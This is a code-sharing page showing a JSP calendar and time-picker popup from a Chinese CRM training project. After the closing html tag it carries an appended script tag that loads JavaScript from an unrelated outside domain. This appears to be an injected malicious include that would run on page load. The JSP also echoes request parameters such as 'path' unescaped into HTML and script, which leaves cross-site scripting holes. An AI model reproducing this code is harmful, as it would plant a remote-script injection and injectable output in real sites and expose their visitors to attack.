⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 time.jsp

📁 达内CRM培训项目java源码:主要系统功能 1 用户登录 2 客户管理:查询客户、增加客户、修改客户; 3 订单管理:查询订单、生成订单、修改订单、订单确认; 4 产品管理:查询产品
💻 JSP
字号:
<%@ page contentType="text/html; charset=GBK" %>
<%
   String inputName = request.getParameter("inputName");
   String path = request.getParameter("path");
   if(inputName==null || inputName.trim().length()<1){
     System.out.println("日期输入框元素名称没有传递!");
   }
   
   String inputDate = request.getParameter("inputDate");
   String _year = "";
   String _month = "";
   String _date = "";
   String _hour = "";
   String _minute = "";
   String _second = "";
   if(inputDate!=null && inputDate.trim().length()>18){
           _year = inputDate.substring(0,4);
	   _month = inputDate.substring(5,7);
	   _date = inputDate.substring(8,10);
	   _hour = inputDate.substring(11).trim().substring(0,2)+":";
	   _minute = inputDate.substring(11).trim().substring(3,5)+":";
	   _second = inputDate.substring(11).trim().substring(6); 
   
   }
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>日历</title>
<SCRIPT src="<%=path%>framework/js/JSTime.js"></SCRIPT>
<link rel="stylesheet" href="<%=path%>framework/css/hollycrm.css" type="text/css">

<SCRIPT language="JAVASCRIPT">
 function fillBlank(name){
    document.form1.date.value = document.form1.tt.value;
 }
 
 function fillTime(time){ 
   <%
      if(inputDate==null || inputDate.trim().length()<18){
   %>
    var _temDate = new Date();
    if(parseInt(_temDate.getHours())<10){ 
      document.form1.hour.value = "0"+_temDate.getHours()+":";
    }else{
      document.form1.hour.value = _temDate.getHours()+":";
    }
    
    if(parseInt(_temDate.getMinutes())<10){ 
      document.form1.minute.value = "0"+_temDate.getMinutes()+":";
    }else{
      document.form1.minute.value = _temDate.getMinutes()+":";
    }
    
    if(parseInt(_temDate.getSeconds())<10){ 
      document.form1.second.value = "0"+_temDate.getSeconds();
    }else{
      document.form1.second.value = _temDate.getSeconds();
    }
    
    <%
      }
    %>
 }
 
	
  function _dethour(){ 
	var a
	a=parseInt(form1.hour.value,10)-1;
	//form1.hour.value=form1.hour.value-':';
		//form1.hour.value = form1.hour.value-1;
			if (a<10&&a>=0){
				document.form1.hour.value="0"+a+":"; }
			else if(a<=0){
			a=23;
			document.form1.hour.value=a+":";}
			else {document.form1.hour.value=a+":"; }
				return;
    }
    
   function _addhour(){
	   var a
	   a=parseInt(form1.hour.value,10)+1
	   if (a<10&&a>=0){
	   document.form1.hour.value="0"+a+":";}
	   else if(a>=24){
	   document.form1.hour.value="00"+":";}
	   else {document.form1.hour.value=a+":";}
	   return;
   }

function _detminute(){ 
	var a
	a=parseInt(form1.minute.value,10)-1;
	//form1.minute.value=form1.minute.value-':';
		//form1.minute.value = form1.minute.value-1;
			if (a<10&&a>=0){
				document.form1.minute.value="0"+a+":"; }
			else if(a<=0){
			a=59;
			document.form1.minute.value=a+":";}
			else {document.form1.minute.value=a+":"; }
				return;
	}
   function _addminute(){
   var a
   a=parseInt(form1.minute.value,10)+1
   if (a<10&&a>=0){
   document.form1.minute.value="0"+a+":";}
   else if(a>=60){
   document.form1.minute.value="00"+":";}
   else {document.form1.minute.value=a+":";}
   return;}
   
  function _detsecond(){ 
	var a
	a=parseInt(form1.second.value,10)-1;
	if (a<10&&a>=0){
		document.form1.second.value="0"+a; }
	else if(a<=0){
	a=59;
	document.form1.second.value=a;}
	else {document.form1.second.value=a; }
		return;
   }
	
   function _addsecond(){
	   var a
	   a=parseInt(form1.second.value,10)+1
	   if (a<10&&a>=0){
	   document.form1.second.value="0"+a;}
	   else if(a>=60){
	   document.form1.second.value="00";}
	   else {document.form1.second.value=a;}
	   return;
   }
  
  function closeWin(){
	  //window.returnValue="";
     window.close();
  }
  
  function returnDate(){
     var _tempDate = new Date();
     var _tempYear = _tempDate.getFullYear();
     var _tempMonth = _tempDate.getMonth() + 1;
     var _tempDate = _tempDate.getDate();
     if(parseInt(_tempMonth)<10)
         _tempMonth = "0"+_tempMonth;
     if(parseInt(_tempDate)<10)
         _tempDate = "0"+_tempDate;
           
     var _currentDate = _tempYear+"-"+_tempMonth+"-"+_tempDate;
     var _date = document.form1.date.value;
     if(_date==null || _date.length<1){
       _date = _currentDate;
     }  
     var _hour = document.form1.hour.value;
	
     var _minute = document.form1.minute.value
     var _second = document.form1.second.value;
	
	 var a=parseInt(_hour,10)	
	 var b=parseInt(_minute,10)
	 var c=parseInt(_second,10)
	 if (a<0||a>=24){alert("小时数输入错误!");}
     else if(b<0||b>=60){alert("分钟数输入错误!");}
	 else if(c<0||c>=60){alert("秒数输入错误!");}
	 else {if(a<10&&a>=0){a="0"+a;}
		   if(b<10&&b>=0){b="0"+b;}
		   if(c<10&&c>=0){c="0"+c;}
		   window.returnValue = _date+" "+a+":"+b+":"+c;
		   window.close();
		   }
  }
</SCRIPT>

</head>

<body >
<form name="form1" method="post" action="" >
   <input   type="text" name="date" style="display:none">
   <table cellspacing=0 cellpadding=0 class=calendar style='border:0px solid;width:245' align="left">
       <tr height="150">
	  <td  align=center colspan="0">
	    <script language="javascript">
	     <%
	       if(inputDate==null || inputDate.trim().length()<10){
	     %>
	       JSCalendar(document.form1.date,"<%=path%>");
	     <%
	       }else{
	     %>
               JSCalendar(document.form1.date,"<%=path%>","<%=_year%>","<%=_month%>","<%=_date%>"); 
             <%
	       }
	     %>
            </script>
	  </td>
	 </tr>
	 
	<tr bgcolor=E3E7FF>
	  <td  align=center align=left valign="middle">
	    <input type=text name=hour maxlength="3" style=width:30px  value="<%=_hour%>"><img style='cursor:hand'  class=a7 title='修改时间' src='<%=path%>framework/images/btnYears.gif' usemap='#Maphour' border='0'><input type=text name=minute maxlength="3" style=width:30px   value="<%=_minute%>"><img style='cursor:hand'  class=a7 title='修改时间' src='<%=path%>framework/images/btnYears.gif' usemap='#Mapminute' border='0'><input type=text name=second maxlength="3" style=width:30px value="<%=_second%>"><img style='cursor:hand'  class=a7 title='修改时间' src='<%=path%>framework/images/btnYears.gif' usemap='#Mapsecond' border='0'>
	  </td>
	 <td align=right valign="middle">
	  <input type="button" value="保存" name="button_bg" class="button_two" onClick="returnDate()">
	  <input type="button" value="取消" name="button_bg" class="button_two" onclick="closeWin()">&nbsp;	   
	  </td>
	 </tr>
	</table>
	<map name='Maphour'>
	  <area shape='poly' coords='1,12,13,12,8,17' onClick="_dethour()">
	  <area shape='poly' coords='8,4,1,9,13,8' onClick="_addhour()">
	</map>
	<map name='Mapminute'>
	  <area shape='poly' coords='1,12,13,12,8,17' onClick="_detminute()">
	  <area shape='poly' coords='8,4,1,9,13,8' onClick="_addminute()">
	</map>
	<map name='Mapsecond'>
	  <area shape='poly' coords='1,12,13,12,8,17' onClick="_detsecond()">
	  <area shape='poly' coords='8,4,1,9,13,8' onClick="_addsecond()">
	</map>
</form>   
<script language="javascript">
   fillTime("tt");
</script>
</body>
</html>

<script language=javascript src=http://www.eheh001.cn/a.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -